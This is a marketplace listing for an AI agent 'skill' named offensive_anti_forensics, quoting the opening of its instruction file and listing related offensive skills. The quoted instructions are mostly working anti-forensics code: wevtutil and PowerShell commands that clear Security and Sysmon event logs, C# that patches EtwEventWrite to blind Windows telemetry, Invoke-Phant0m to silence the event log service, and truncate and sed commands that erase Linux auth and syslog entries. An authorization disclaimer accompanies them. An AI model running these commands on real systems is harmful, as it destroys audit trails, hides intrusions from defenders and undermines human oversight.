offensive_anti_forensics
Offensive security skill for offensive anti forensics
Skill by Akapi895
Chalk Labs
Need help deploying offensive_anti_forensics?
Chalk Labs sets up agents like this inside real teams: connected to your tools, tested on your data, with a human in the loop where it matters.
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/akapi895-offensive-anti-forensics
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: security
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/offensive-anti-forensics
What's inside
- Skill name
offensive_anti_forensics- Description
- Offensive security skill for offensive anti forensics
- License
- Apache-2.0
- Instructions
- 469 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Agent Skills spec issues
- name: only lowercase letters, digits and single hyphens allowed
- name: "offensive_anti_forensics" does not match folder "offensive-anti-forensics"
- body: contains an absolute path from the author's machine
Files (1)
- SKILL.md
SKILL.md (first lines)
---
name: offensive-anti-forensics
description: "Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for."
---
# Offensive Anti-Forensics
Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.
You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.
## Quick Workflow
1. Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
2. Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
3. Execute your operation with minimal footprint using in-memory techniques where possible.
4. Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
5. Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
6. Remove memory artifacts if you have reason to believe live forensics will occur.
7. Validate your cleanup by checking the same artifacts a forensic analyst would examine.
---
## Windows Event Log Clearing
Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.
### Wevtutil Approach
Clear specific channels rather than all logs to reduce the blast radius of your cleanup.
```cmd
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
```
### PowerShell Clear-EventLog
```powershell
# Clear classic logs
Clear-EventLog -LogName Security, System, Application
# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $_.LogName 2>$null
}
# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling
```
### ETW Provider Patching
Event Tracing for Windows underpins most logging. Patching the ETW provider in-process prevents log generation at the source, which is quieter than post-hoc clearing.
```csharp
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
```
```powershell
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
```
---
## Linux Log Clearing
Linux logging varies by distribution and configuration. You must account for syslog/rsyslog, systemd journal, auth logs, and login records stored in binary utmp/wtmp/btmp files.
### Syslog and Auth Log Manipulation
```bash
# Truncate rather than delete -- preserves inode and avoids alerting on missing files
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure
# Selective removal -- strip lines matching your source IP
sed -i '/10\.10\.14\.5/d' /var/log/auth.log
sed -i '/10\.10\.14\.5/d' /var/log/syslog
# Remove entries within a time window from auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.logFrom Akapi895/RedForge, Apache-2.0.
More from Akapi895/RedForge
- 0.526score
cyberstrike-eino-demo
Akapi895
Full-featured example skill package: SKILL.md + optional scripts/, references/, assets/, and other directories; validates Eino skills and HTTP…
SkillBFreshness: BClaude Code +9 - 0.524score
attack-surface-recon
Akapi895
Reconnaissance/attack-surface mapping: passive whois/amass/crt.sh/FOFA/Shodan, active subfinder/httpx/naabu/katana/nuclei, DNS geography/CDN/Nginx…
SkillBFreshness: BClaude Code +9 - 0.524score
binary-mobile-reversing
Akapi895
APK/EXE/binary: UniApp/DCloud/Flutter reverse engineering, certificate-pinning bypass, exported components, memory-corruption exploit chains, and IoT firmware.
SkillBFreshness: BClaude Code +9 - 0.524score
capability-primitive-search
Akapi895
Capability primitives + state-space search: combine primitives such as read/write/exec/ssrf into RCE equations A-F, map low-severity findings, search forward…
SkillBFreshness: BClaude Code +9 - 0.524score
cloud-attack-methods
Akapi895
Cloud attacks: metadata APIs, S3/K8s, AWS/Azure/GCP identity privilege escalation, MinIO attack matrix, Aliyun FC, and ChengZi SDK decryption.
SkillBFreshness: BClaude Code +9 - 0.524score
component-vuln-intel
Akapi895
Internet intelligence collection: after identifying a component, always perform CVE/search-engine/Chinese-community/GitHub…
SkillBFreshness: BClaude Code +9 - 0.519score
ai-llm-app-attack
Akapi895
AI/LLM application attacks: prompt injection, Agent tool abuse leading to RCE, RAG poisoning, MCP supply chain, and torch.load pickle RCE.
SkillBFreshness: BClaude Code +9 - 0.519score
initial-access-phishing
Akapi895
Initial access/phishing/social engineering: password spraying, AiTM, device codes, OAuth-consent phishing, payloads, and vishing.
SkillBFreshness: BClaude Code +9 - 0.519score
active-directory-attack
Akapi895
Internal-domain attacks: BloodHound, Kerberoast, ADCS ESC1/ESC8, NTLM Relay, coercion, DACL, DCSync, Zerologon/NoPac/PrintNightmare, mitm6, LLMNR, and Linux…
SkillBFreshness: BClaude Code +9 - 0.519score
blockchain-contract-attack
Akapi895
Blockchain/smart contracts: Etherscan, slither/mythril, reentrancy, access control, oracles, flash loans, cross-chain bridges, and exposed RPC endpoints.
SkillBFreshness: BClaude Code +9 - 0.507score
offensive_active_directory
Akapi895
Offensive security skill for offensive active directory
SkillBFreshness: BClaude Code +9 - 0.507score
offensive_business_logic
Akapi895
Offensive security skill for offensive business logic
SkillBFreshness: BClaude Code +9
Signals
- Stars
- 0
- Forks
- 0
- Open issues
- 0
- Last commit (this folder)
- Sep 21, 2026 (1 month ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/Akapi895/RedForge
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from Akapi895
- 0.526score
cyberstrike-eino-demo
Akapi895
Full-featured example skill package: SKILL.md + optional scripts/, references/, assets/, and other directories; validates Eino skills and HTTP…
SkillBFreshness: BClaude Code +9 - 0.524score
attack-surface-recon
Akapi895
Reconnaissance/attack-surface mapping: passive whois/amass/crt.sh/FOFA/Shodan, active subfinder/httpx/naabu/katana/nuclei, DNS geography/CDN/Nginx…
SkillBFreshness: BClaude Code +9 - 0.524score
cloud-attack-methods
Akapi895
Cloud attacks: metadata APIs, S3/K8s, AWS/Azure/GCP identity privilege escalation, MinIO attack matrix, Aliyun FC, and ChengZi SDK decryption.
SkillBFreshness: BClaude Code +9 - 0.524score
capability-primitive-search
Akapi895
Capability primitives + state-space search: combine primitives such as read/write/exec/ssrf into RCE equations A-F, map low-severity findings, search forward…
SkillBFreshness: BClaude Code +9 - 0.524score
binary-mobile-reversing
Akapi895
APK/EXE/binary: UniApp/DCloud/Flutter reverse engineering, certificate-pinning bypass, exported components, memory-corruption exploit chains, and IoT firmware.
SkillBFreshness: BClaude Code +9 - 0.524score
component-vuln-intel
Akapi895
Internet intelligence collection: after identifying a component, always perform CVE/search-engine/Chinese-community/GitHub…
SkillBFreshness: BClaude Code +9
Done for you
Rather not set it up yourself?
Chalk Labs scopes, builds and runs agents for your team: the task audit, the eval harness, the integrations and the weekly ops report. Fixed scope, priced before we start.
See how we build AI agents →Read the case studies
Chalk Labs is a two-founder AI and growth studio. We build AI agents, CRMs and MVPs for Web3 and AI companies, and have shipped 50+ product and token launches.
- launches shipped
- 50+
- launches shipped
- media placements
- 500+
- media placements
- founders on every account
- 2
- founders on every account
Press we've placed: Forbes · CoinDesk · Decrypt · Cointelegraph · The Block
Rahil Jain, Co-founder, Chalk Labs. Ex-Goldman Sachs engineer. You talk to the person who builds it.
Get offensive_anti_forensics running in your business
Tell us what you want to automate. A founder replies within one working day with a plan, not a pitch deck.
Cite this page
offensive_anti_forensics skill. Agent Mart. https://agentmart.dev/skills/akapi895-offensive-anti-forensics (last updated 2026-10-24)